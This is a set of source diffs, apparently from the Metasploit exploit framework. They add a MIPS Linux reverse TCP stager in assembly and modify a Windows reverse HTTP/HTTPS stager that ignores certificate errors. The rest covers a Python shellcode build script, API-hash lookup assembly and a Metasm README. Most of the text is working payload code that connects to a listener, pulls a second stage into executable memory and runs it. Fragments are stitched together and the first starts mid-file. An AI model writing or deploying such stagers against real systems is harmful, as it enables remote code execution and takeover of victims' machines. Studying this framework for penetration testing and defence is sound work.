# v0: syscall = __NR_connect (4170)
lw $a0, -4($sp)
li $t7, -3
nor $t7, $t7, $zero
sw $t7, -32($sp)
lui $t6, 0x115c
sw $t6, -28($sp)
lui $t6, 0x7f00 # ip
ori $t6, $t6, 0x0001 # ip
sw $t6, -26($sp)
addiu $a1, $sp, -30
li $t4, -17
nor $a2, $t4, $zero
li $v0, 4170
syscall 0x40404
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
# a0: addr = -1
# a1: lenght = 4096
# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
# sp(16): fd = -1
# sp(20): offset = 0
# v0: syscall = __NR_mmap (4090)
li $a0, -1
li $a1, 4097
addi $a1, $a1, -1
li $t1, -8
nor $t1, $t1, $0
add $a2, $t1, $0
li $a3, 2050
li $t3, -22
nor $t3, $t3, $zero
add $t3, $sp, $t3
sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
li $v0, 4090
syscall 0x40404
sw $v0, -8($sp) # Stores the mmap'ed address on the stack
# read(sockfd, addr, 4096)
# a0: sockfd
# a1: addr
# a2: len = 4096
# v0: syscall = __NR_read (4003)
lw $a0, -4($sp)
lw $a1, -8($sp)
li $a2, 4097
addi $a2, $a2, -1
li $v0, 4003
syscall 0x40404
# cacheflush(addr, nbytes, DCACHE)
# a0: addr
# a1: nbytes
# a2: cache = DCACHE (2)
# v0: syscall = __NR_read (4147)
lw $a0, -8($sp)
add $a1, $v0, $zero
li $t1, -3
nor $t1, $t1, $0
add $a2, $t1, $0
li $v0, 4147
syscall 0x40404
# jmp to the stage
lw $s1, -8($sp)
lw $s2, -4($sp)
jalr $s1
.set macro
.set reorder

View File

@ -0,0 +1,127 @@
##
#
# Name: stager_sock_reverse
# Type: Stager
# Qualities: No Nulls out of the IP / Port data
# Platforms: Linux MIPS Little Endian
# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
# License:
#
# This file is part of the Metasploit Exploit Framework
# and is subject to the same licenses and copyrights as
# the rest of this package.
#
# Description:
#
# Implementation of a MIPS LE Linux reverse TCP stager.
#
# File descriptor in $s2.
#
# Assemble and create a relocatable object with:
# as -o stager_sock_reverse.o stager_sock_reverse.s
#
# Assemble, link and create an executable ELF with:
# gcc -o stager_sock_reverse stager_sock_reverse.s
#
# The tool "tools/metasm_shell.rb" can be used to easily
# generate the string to place on:
# modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
##
.text
.align 2
.globl main
.set nomips16
main:
.set noreorder
.set nomacro
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
# a0: domain = PF_INET (2)
# a1: type = SOCK_STREAM (2)
# a2: protocol = IPPROTO_IP (0)
# v0: syscall = __NR_socket (4183)
li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3
addi $a1, $t7, -3
slti $a2, $zero, -1
li $v0, 4183
syscall 0x40404
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
# a0: sockfd
# a1: addr = AF_INET (2)
# a2: addrlen = 16
# v0: syscall = __NR_connect (4170)
lw $a0, -4($sp)
li $t7, -3
nor $t7, $t7, $zero
sw $t7, -30($sp)
ori $t6, $zero, 0x5c11 # port
sw $t6, -28($sp)
lui $t6, 0x100 # ip
ori $t6, $t6, 0x7f # ip
sw $t6, -26($sp)
addiu $a1, $sp, -30
li $t4, -17
nor $a2, $t4, $zero
li $v0, 4170
syscall 0x40404
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
# a0: addr = -1
# a1: lenght = 4096
# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
# sp(16): fd = -1
# sp(20): offset = 0
# v0: syscall = __NR_mmap (4090)
li $a0, -1
li $a1, 4097
addi $a1, $a1, -1
li $t1, -8
nor $t1, $t1, $0
add $a2, $t1, $0
li $a3, 2050
li $t3, -22
nor $t3, $t3, $zero
add $t3, $sp, $t3
sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
li $v0, 4090
syscall 0x40404
sw $v0, -8($sp) # Stores the mmap'ed address on the stack
# read(sockfd, addr, 4096)
# a0: sockfd
# a1: addr
# a2: len = 4096
# v0: syscall = __NR_read (4003)
lw $a0, -4($sp)
lw $a1, -8($sp)
li $a2, 4097
addi $a2, $a2, -1
li $v0, 4003
syscall 0x40404
# cacheflush(addr, nbytes, DCACHE)
# a0: addr
# a1: nbytes
# a2: cache = DCACHE (2)
# v0: syscall = __NR_read (4147)
lw $a0, -8($sp)
add $a1, $v0, $zero
li $t1, -3
nor $t1, $t1, $0
add $a2, $t1, $0
li $v0, 4147
syscall 0x40404
# jmp to the stage
lw $s1, -8($sp)
lw $s2, -4($sp) # sockfd saved on $s2
jalr $s1
.set macro
.set reorder

View File

@ -17,108 +17,112 @@ from subprocess import Popen
from struct import pack
#=============================================================================#
def clean( dir="./bin/" ):
for root, dirs, files in os.walk( dir ):
for name in files:
os.remove( os.path.join( root, name ) )
for root, dirs, files in os.walk( dir ):
for name in files:
os.remove( os.path.join( root, name ) )
#=============================================================================#
def locate( src_file, dir="./src/" ):
for root, dirs, files in os.walk( dir ):
for name in files:
if src_file == name:
return root
return None
for root, dirs, files in os.walk( dir ):
for name in files:
if src_file == name:
return root
return None
#=============================================================================#
def build( name ):
location = locate( "%s.asm" % name )
if location:
input = os.path.normpath( os.path.join( location, name ) )
output = os.path.normpath( os.path.join( "./bin/", name ) )
p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] )
p.wait()
xmit( name )
else:
print "[-] Unable to locate '%s.asm' in the src directory" % name
location = locate( "%s.asm" % name )
if location:
input = os.path.normpath( os.path.join( location, name ) )
output = os.path.normpath( os.path.join( "./bin/", name ) )
p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] )
p.wait()
xmit( name )
else:
print "[-] Unable to locate '%s.asm' in the src directory" % name
#=============================================================================#
def xmit_dump_ruby( data, length=16 ):
dump = ""
for i in xrange( 0, len( data ), length ):
bytes = data[ i : i+length ]
hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) )
if i+length <= len(data):
hex += " +"
dump += "%s\n" % ( hex )
print dump
dump = ""
for i in xrange( 0, len( data ), length ):
bytes = data[ i : i+length ]
hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) )
if i+length <= len(data):
hex += " +"
dump += "%s\n" % ( hex )
print dump
#=============================================================================#
def xmit_offset( data, name, value ):
offset = data.find( value );
if offset != -1:
print "# %s Offset: %d" % ( name, offset )
def xmit_offset( data, name, value, match_offset=0 ):
offset = data.find( value );
if offset != -1:
print "# %s Offset: %d" % ( name, offset + match_offset )
#=============================================================================#
def xmit( name, dump_ruby=True ):
bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) )
f = open( bin, 'rb')
data = f.read()
print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) )
xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444
xmit_offset( data, "LEPort", pack( "<H", 4444 ) ) # 4444
xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) ) # 127.0.0.1
xmit_offset( data, "IPv6Host", pack( "<Q", 0xBBBBBBBBBBBBBBB1 ) ) # An IPv6 Address
xmit_offset( data, "IPv6ScopeId", pack( "<L", 0xAAAAAAA1 ) ) # An IPv6 Scope ID
xmit_offset( data, "HostName", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00" ) # hostname filler
xmit_offset( data, "RetryCounter", "\x6a\x05" ) # socket retry
xmit_offset( data, "CodeLen", pack( "<L", 0x12345678 ) ) # Filler
xmit_offset( data, "Hostname", "https" )
xmit_offset( data, "ExitFunk", pack( "<L", 0x0A2A1DE0 ) ) # kernel32.dll!ExitThread
xmit_offset( data, "ExitFunk", pack( "<L", 0x56A2B5F0 ) ) # kernel32.dll!ExitProcess
xmit_offset( data, "ExitFunk", pack( "<L", 0xEA320EFE ) ) # kernel32.dll!SetUnhandledExceptionFilter
xmit_offset( data, "ExitFunk", pack( "<L", 0xE035F044 ) ) # kernel32.dll!Sleep
xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) ) # Egg tag 1
xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) ) # Egg tag 2
xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) ) # Egg tag size
xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key
xmit_offset( data, "XORKey", "XORK") # XOR key
if( name.find( "egghunter" ) >= 0 ):
null_count = data.count( "\x00" )
if( null_count > 0 ):
print "# Note: %d NULL bytes found." % ( null_count )
if dump_ruby:
xmit_dump_ruby( data )
bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) )
f = open( bin, 'rb')
data = f.read()
print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) )
xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444
xmit_offset( data, "LEPort", pack( "<H", 4444 ) ) # 4444
xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) ) # 127.0.0.1
xmit_offset( data, "IPv6Host", pack( "<Q", 0xBBBBBBBBBBBBBBB1 ) ) # An IPv6 Address
xmit_offset( data, "IPv6ScopeId", pack( "<L", 0xAAAAAAA1 ) ) # An IPv6 Scope ID
xmit_offset( data, "HostName", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00" ) # hostname filler
xmit_offset( data, "RetryCounter", "\x6a\x05", 1 ) # socket retry
xmit_offset( data, "CodeLen", pack( "<L", 0x12345678 ) ) # Filler
xmit_offset( data, "Hostname", "https" )
xmit_offset( data, "ExitFunk", pack( "<L", 0x0A2A1DE0 ) ) # kernel32.dll!ExitThread
xmit_offset( data, "ExitFunk", pack( "<L", 0x56A2B5F0 ) ) # kernel32.dll!ExitProcess
xmit_offset( data, "ExitFunk", pack( "<L", 0xEA320EFE ) ) # kernel32.dll!SetUnhandledExceptionFilter
xmit_offset( data, "ExitFunk", pack( "<L", 0xE035F044 ) ) # kernel32.dll!Sleep
xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) ) # Egg tag 1
xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) ) # Egg tag 2
xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) ) # Egg tag size
xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key
xmit_offset( data, "XORKey", "XORK") # XOR key
if( name.find( "egghunter" ) >= 0 ):
null_count = data.count( "\x00" )
if( null_count > 0 ):
print "# Note: %d NULL bytes found." % ( null_count )
if dump_ruby:
xmit_dump_ruby( data )
#=============================================================================#
def main( argv=None ):
if not argv:
argv = sys.argv
try:
if len( argv ) == 1:
print "Usage: build.py [clean|all|<name>]"
else:
print "# Built on %s\n" % ( time.asctime( time.localtime() ) )
if argv[1] == "clean":
clean()
elif argv[1] == "all":
for root, dirs, files in os.walk( "./src/egghunter/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/migrate/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/single/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/stage/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/stager/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/kernel/" ):
for name in files:
build( name[:-4] )
else:
build( argv[1] )
except Exception, e:
print "[-] ", e
if not argv:
argv = sys.argv
try:
if len( argv ) == 1:
print "Usage: build.py [clean|all|<name>]"
else:
print "# Built on %s\n" % ( time.asctime( time.localtime() ) )
if argv[1] == "clean":
clean()
elif argv[1] == "all":
for root, dirs, files in os.walk( "./src/egghunter/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/migrate/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/single/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/stage/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/stager/" ):
for name in files:
build( name[:-4] )
for root, dirs, files in os.walk( "./src/kernel/" ):
for name in files:
build( name[:-4] )
else:
build( argv[1] )
except Exception, e:
print "[-] ", e
#=============================================================================#
if __name__ == "__main__":
main()
#=============================================================================#

View File

@ -34,22 +34,25 @@ loop_modname: ;
not_lowercase: ;
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough
loop loop_modname ; Loop until we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to itterate the export address table,
; Proceed to iterate the export address table,
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names
; use ecx as our EAT pointer here so we can take advantage of jecxz.
mov ecx, [eax+edx+120] ; Get the EAT from the PE header
jecxz get_next_mod1 ; If no EAT present, process the next module
add ecx, edx ; Add the modules base address
push ecx ; Save the current modules EAT
mov ebx, [ecx+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
mov ecx, [ecx+24] ; Get the number of function names
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
@ -66,8 +69,9 @@ loop_funcname: ;
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
cmp edi, [ebp+36] ; Compare the hash to the one we are searching for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva
@ -88,6 +92,7 @@ finish:
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;

View File

@ -6,6 +6,25 @@
;-----------------------------------------------------------------------------;
[BITS 32]
%ifdef ENABLE_SSL
%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 )
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 | ; INTERNET_FLAG_NO_UI
;0x00800000 | ; INTERNET_FLAG_SECURE
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
%else
%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 )
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 ; INTERNET_FLAG_NO_UI
%endif
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
@ -16,65 +35,74 @@ load_wininet:
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
xor ebx,ebx
internetopen:
xor edi,edi
push edi ; DWORD dwFlags
push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0)
push byte 0 ; NULL pointer
push esp ; LPCTSTR lpszAgent ("\x00")
push ebx ; DWORD dwFlags
push ebx ; LPCTSTR lpszProxyBypass (NULL)
push ebx ; LPCTSTR lpszProxyName (NULL)
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
jmp short dbl_get_server_host
internetconnect:
pop ebx ; Save the hostname pointer
xor ecx, ecx
push ecx ; DWORD_PTR dwContext (NULL)
push ecx ; dwFlags
push ebx ; DWORD_PTR dwContext (NULL)
push ebx ; dwFlags
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ecx ; password
push ecx ; username
push ebx ; password (NULL)
push ebx ; username (NULL)
push dword 4444 ; PORT
push ebx ; HOSTNAME
jmp short dbl_get_server_host ; push pointer to HOSTNAME
got_server_host:
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
jmp get_server_uri
httpopenrequest:
pop ecx
xor edx, edx ; NULL
push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 | ; INTERNET_FLAG_NO_UI
;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION
push edx ; accept types
push edx ; referrer
push edx ; version
push ecx ; url
push edx ; method
push ebx ; dwContext (NULL)
push HTTP_OPEN_FLAGS ; dwFlags
push ebx ; accept types
push ebx ; referrer
push ebx ; version
jmp get_server_uri ; push pointer to url
got_server_uri:
push ebx ; method
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
mov esi, eax ; hHttpRequest
xchg esi, eax ; save hHttpRequest in esi
set_retry:
push byte 0x10
pop ebx
pop edi
send_request:
%ifdef ENABLE_SSL
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options:
push 0x00003380
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
mov eax, esp
push byte 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
%endif
httpsendrequest:
xor edi, edi
push edi ; optional length
push edi ; optional
push edi ; dwHeadersLength
push edi ; headers
push ebx ; lpOptional length (0)
push ebx ; lpOptional (NULL)
push ebx ; dwHeadersLength (0)
push ebx ; lpszHeaders (NULL)
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
@ -82,28 +110,30 @@ httpsendrequest:
jnz short allocate_memory
try_it_again:
dec ebx
jz failure
jmp short httpsendrequest
dec edi
jnz send_request
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call httpopenrequest
server_uri:
db "/12345", 0x00
; if we didn't allocate before running out of retries, fall through to
; failure
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call got_server_uri
server_uri:
db "/12345", 0x00
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us)
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
push ebx ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
@ -135,7 +165,7 @@ execute_stage:
ret ; dive into the stored stage address
get_server_host:
call internetconnect
call got_server_host
server_host:

View File

@ -1,159 +0,0 @@
;-----------------------------------------------------------------------------;
; Author: HD Moore
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
internetopen:
xor edi,edi
push edi ; DWORD dwFlags
push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0)
push byte 0 ; NULL pointer
push esp ; LPCTSTR lpszAgent ("\x00")
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
jmp short dbl_get_server_host
internetconnect:
pop ebx ; Save the hostname pointer
xor ecx, ecx
push ecx ; DWORD_PTR dwContext (NULL)
push ecx ; dwFlags
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ecx ; password
push ecx ; username
push dword 4444 ; PORT
push ebx ; HOSTNAME
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
jmp get_server_uri
httpopenrequest:
pop ecx
xor edx, edx ; NULL
push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00800000 | ; INTERNET_FLAG_SECURE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
;0x00000200 ; INTERNET_FLAG_NO_UI
push edx ; accept types
push edx ; referrer
push edx ; version
push ecx ; url
push edx ; method
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
mov esi, eax ; hHttpRequest
set_retry:
push byte 0x10
pop ebx
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options:
push 0x00003380
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
mov eax, esp
push byte 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
httpsendrequest:
xor edi, edi
push edi ; optional length
push edi ; optional
push edi ; dwHeadersLength
push edi ; headers
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
test eax,eax
jnz short allocate_memory
try_it_again:
dec ebx
jz failure
jmp short set_security_options
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call httpopenrequest
server_uri:
db "/12345", 0x00
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us)
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call ebp
test eax,eax ; download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
get_server_host:
call internetconnect
server_host:

View File

@ -14,6 +14,7 @@
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_reverse_https.asm"
%define ENABLE_SSL 1
%include "./src/block/block_reverse_http.asm"
; By here we will have performed the reverse_tcp connection and EDI will be our socket.

View File

@ -1,7 +1,2 @@
# Load a slightly tweaked METASM stub
require 'metasm/metasm'
# Manually load the classes we need from METASM
require 'metasm/ia32'
require 'metasm/mips'
require 'metasm/exe_format/shellcode'

View File

@ -1,2 +0,0 @@
repo: a1be49ad3727a7dab9202f848ad39b5674e1aada
node: 7ec6509ea16231e365fffc91014755c810c27536

View File

@ -21,6 +21,10 @@ Ready-to-use scripts can be found in the samples/ subdirectory, check the
comments in the scripts headers. You can also try the --help argument if
you're feeling lucky.
For more information, check the doc/ subdirectory. The text files can be
compiled to html using the misc/txt2html.rb script.
Here is a short overview of the Metasm internals.
@ -167,8 +171,8 @@ You can encode/decode an ExeFormat (ie decode sections, imports, headers etc)
Constructor: ExeFormat.decode_file(str), ExeFormat.decode_file_header(str)
Methods: ExeFormat#encode_file(filename), ExeFormat#encode_string
PE and ELF files have a LoadedPE/LoadedELF counterpart, that is able to work
with memory-mmaped versions of those formats (e.g. to debugging running
PE and ELF files have a LoadedPE/LoadedELF counterpart, that are able to work
with memory-mmaped versions of those formats (e.g. to debug running
processes)
@ -198,27 +202,31 @@ disassembly/patching easily (using LoadedPE/LoadedELF as ExeFormat)
Debugging:
Metasm includes a few interfaces to allow live debugging.
Metasm includes a few interfaces to handle debugging.
The WinOS and LinOS classes offer access to the underlying OS processes (e.g.
OS.current.find_process('foobar') will retrieve a running process with foobar
in its filename ; then process.mem can be used to access its memory.)
The Windows and Linux debugging APIs (x86 only) have a basic ruby interface
(PTrace32, extended in samples/rubstop.rb ; and WinDBG, a simple mapping of the
windows debugging API) ; those will be more worked on/integrated in the future.
The Windows and Linux low-level debugging APIs have a basic ruby interface
(PTrace and WinAPI) ; which are used by the unified high-end Debugger class.
Remote debugging is supported through the GDB server wire protocol.
High-level debuggers can be created with the following ruby line:
Metasm::OS.current.create_debugger('foo')
Only one kind of host debugger class can exist at a time ; to debug multiple
processes, attach to other processes using the existing class. This is due
to the way the OS debugging API works on Windows and Linux.
The low-level backends are defined in the os/ subdirectory, the front-end is
defined in debug.rb.
A linux console debugging interface is available in samples/lindebug.rb ; it
uses a SoftICE-like look and feel.
This interface can talk to a gdb-server through samples/gdbclient.rb ; use
[udp:]<host:port> as target.
uses a (simplified) SoftICE-like look and feel.
It can talk to a gdb-server socket ; use a [udp:]<host:port> target.
The disassembler scripts allow live process interaction by using as target
'live:<pid or part of filename>'.
A generic debugging interface is available, it is defined in metasm/os/main.rb
It may be accessed using the Metasm::OS.current.create_debugger('foo')
It can be viewed in action using the GUI and 'open live' target.
The disassembler-gui sample allow live process interaction when using as
target 'live:<pid or part of program name>'.
C Parser:
@ -236,7 +244,11 @@ It handles all the constructs i am aware of, except hex floats:
- __int8 etc native types
- Label addresses (&&label)
Also note that all those things are parsed, but most of them will fail to
compile on the Ia32 backend (the only one implemented so far.)
compile on the Ia32/X64 backend (the only one implemented so far.)
Parsing C files should be done using an existing ExeFormat, with the
parse_c_file method. This ensures that format-specific macros/ABI are correctly
defined (ex: size of the 'long' type, ABI to pass parameters to functions, etc)
When you parse a C String using C::Parser.parse(text), you receive a Parser
object. It holds a #toplevel field, which is a C::Block, which holds #structs,
@ -249,15 +261,11 @@ CExpressions...)
A C::Parser may be #precompiled to transform it into a simplified version that
is easier to compile: typedefs are removed, control sequences are transformed
in if () goto ; etc.
into 'if (XX) goto YY;' etc.
To compile a C program, use PE/ELF.compile_c, that will create a C::Parser with
exe-specific macros defined (eg __PE__ or __ELF__).
The prefered way to create a C::Parser is to initialize it with a CPU and the
desired ExeFormat, so that it is
correctly initialized (eg type sizes: is long 4 or 8 bytes? etc) ; and
may define preprocessor macros needed to correctly parse standard headers.
Vendor-specific headers may need to use either #pragma prepare_visualstudio
(to parse the Microsoft Visual Studio headers) or prepare_gcc (for gcc), the
